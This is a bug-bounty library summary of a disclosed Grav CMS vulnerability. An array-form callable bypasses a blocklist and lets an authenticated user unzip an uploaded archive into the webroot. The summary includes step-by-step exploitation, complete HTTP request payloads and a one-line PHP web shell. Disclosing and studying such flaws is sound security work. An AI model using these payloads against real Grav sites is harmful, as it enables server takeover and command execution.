# Grav CMS vulnerable to remote code execution via .zip file upload

Grav's callable-name safety check is bypassed by naming a routine as a [class, method] pair, letting an authenticated user invoke Installer::unZip to drop a PHP shell in the webroot.

- Payout: Research
- Severity: high
- Program: Grav CMS
- Found by: Kuba0123
- Disclosed: 2026-09-17
- CVE: CVE-2026-72819
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-r94f-hx44-8jqf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r94f-hx44-8jqf
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:access-control vuln:file-upload vuln:rce

**Target:** Grav admin panel / Flex Objects plugin config API
**Root cause:** The dangerous-callable check only inspects callable names supplied as a single string; when the same routine is supplied as a two-element array (class, method), neither the blocklist nor the per-component allowlist is applied and it is deemed safe. Grav then invokes it with attacker-supplied arguments.
**Steps:**
1. Log in at `/login` or `/admin`; session cookie plus X-API-Token is the only credential needed.
2. Create `shell.php` containing `<?php system($_GET['c']); ?>`, zip it as `evil.zip`, upload via the Media tab so it lands unchanged at `/user/media/evil.zip`.
3. `PATCH /api/v1/config/plugins/flex-objects` with `directories: ["user/config/plugins/flex-objects.yaml"]` so the settings file is also read as a Flex directory definition, and a field `pwn` with `"data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]`.
4. `POST /api/v1/flex-objects/flex-objects` with `{"name": "x"}` (201) to trigger the default-value resolution and the unzip.
5. Request `http://TARGET/shell.php?c=id` to execute commands as the web server user.
**How found:** Observed that the safety check branches on the callable's shape (string vs. component+method pair) and that only the string form is matched against the blocklist/allowlist; then looked for a shipped routine taking an archive and a destination, and for a way to inject a field via a normal settings save without touching files on disk.
**Exploitation:** Authenticated admin-panel user uploads a ZIP (accepted media type, contents unexamined) to a predictable path, then abuses the array-form callable bypass to make Grav's plugin-install unzip routine extract the archive into the docroot, writing shell.php into the served directory; the shell is then hit over HTTP for command execution as the web server account.
**Escalation:** Chains a callable-validation bypass with a legitimate archive-extraction routine and a self-referential Flex directory config (settings file doubles as directory definition) to go from a settings save to filesystem write in the webroot.
**Insight:** When a framework validates callables, test every representation PHP accepts — `[class, method]`, `Class::method`, `[$obj, 'method']`, `__invoke` — since blocklists keyed on string names silently miss array form; then hunt for shipped utility methods (unzip, file write, template render) whose second argument is an attacker-controlled path.

## Proof of concept (copied exactly from the original report)

**PATCH config with unZip data-default payload**

```
PATCH /api/v1/config/plugins/flex-objects
   Content-Type: application/json

   {
     "directories": ["user/config/plugins/flex-objects.yaml"],
     "title": "Pwn",
     "type": "flex-objects",
     "config": { "data": {
       "object":     "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
       "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
       "index":      "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
       "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
                    "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
                                 "folder": "user-data://flex-objects/pwn.json" } } } },
     "form": { "validation": "loose", "fields": {
       "name": {"type": "text", "label": "Name"},
       "pwn":  {"type": "text", "label": "pwn",
                "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
                                  "user/media/evil.zip",
                                  "/absolute/path/to/grav-docroot"]} } }
```

**POST flex-objects request triggering the unzip**

```
POST /api/v1/flex-objects/flex-objects
   Content-Type: application/json

   {"name": "x"}
   -> 201
```

**PHP shell zipped into evil.zip**

```
shell.php:  <?php system($_GET['c']); ?>
   zip evil.zip shell.php
```

